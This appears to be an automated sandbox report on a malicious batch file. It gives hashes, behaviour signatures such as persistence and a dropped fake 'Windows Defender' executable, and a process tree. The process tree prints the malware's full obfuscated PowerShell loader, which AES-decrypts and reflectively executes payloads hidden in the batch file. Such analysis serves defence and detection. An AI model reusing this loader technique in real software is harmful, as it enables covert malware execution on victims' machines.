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Analysis
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max time kernel
137s -
max time network
106s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
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submitted
15/05/2024, 22:53
General
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Target
s.bat
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Size
864KB
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MD5
42c72c26bb7fc92064808e8edb9efdbc
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SHA1
8b9cb6f781b99cc723aa2a0d9bcffecd73a5490a
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SHA256
722c42c544ec40709b016906077aa4ee555c414a998e3986d9b44e4cfb28b4c2
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SHA512
7ac1c09e3242eb3d43d9a1c86e1abd5c1cdc75b5a32881a7287defb0407010533c891eaa0b0d12a496d885ebfc3bc41b57934dfe55a979f0a08a2745d61c167e
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SSDEEP
24576:ifUMJg2oIqiT97xw/+JOg0MJcz/aaCbZr:SU/s1T9N0/aawr
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 1 IoCs
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Adds Run key to start application 2 TTPs 2 IoCs
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Drops file in System32 directory 3 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of WriteProcessMemory 12 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLntWa+7DUuCS+fnbQfhf/cxydXpLtg+PQ02HHuVeRk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NtpnTWtFGpfhlwj+FpJ6UQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xlRxg=New-Object System.IO.MemoryStream(,$param_var); $zRntR=New-Object System.IO.MemoryStream; $biJHY=New-Object System.IO.Compression.GZipStream($xlRxg, [IO.Compression.CompressionMode]::Decompress); $biJHY.CopyTo($zRntR); $biJHY.Dispose(); $xlRxg.Dispose(); $zRntR.Dispose(); $zRntR.ToArray();}function execute_function($param_var,$param2_var){ $SZVOd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zTOPO=$SZVOd.EntryPoint; $zTOPO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\s.bat';$zVVoV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\s.bat').Split([Environment]::NewLine);foreach ($RfCQM in $zVVoV) { if ($RfCQM.StartsWith(':: ')) { $fcaeB=$RfCQM.Substring(3); break; }}$payloads_var=[string[]]$fcaeB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Drops file in System32 directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Windows\SysWOW64\Windows Defender\Windows Defender.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\Windows Defender\Windows Defender.exe"C:\Windows\SysWOW64\Windows Defender\Windows Defender.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
436B
MD53d8b134867dfacfb69c41d942c4eb0f8
SHA16e03c2181e8054a6456463f1c9a5578109f400d8
SHA2560d0c60bff9e22ab9e93bfd851df80234948aeb17c504175ad326df3ec9b71144
SHA512f299c44e4cc6d51b9183f8d9ec390b7697aa655ff7be240c69bbabf876137b588e22834aac8f756ef25041b8e4b53efdf4d52668c7d78a509bc4655f3c591f8d
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
304KB
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Filesize
104KB
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Filesize
408KB
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Filesize
408KB
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Filesize
6.2MB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
4KB
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Filesize
6.5MB
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Filesize
136KB
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Filesize
32KB
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Filesize
656KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
216KB
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Filesize
3.3MB
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Filesize
304KB
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Filesize
272KB
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Filesize
472KB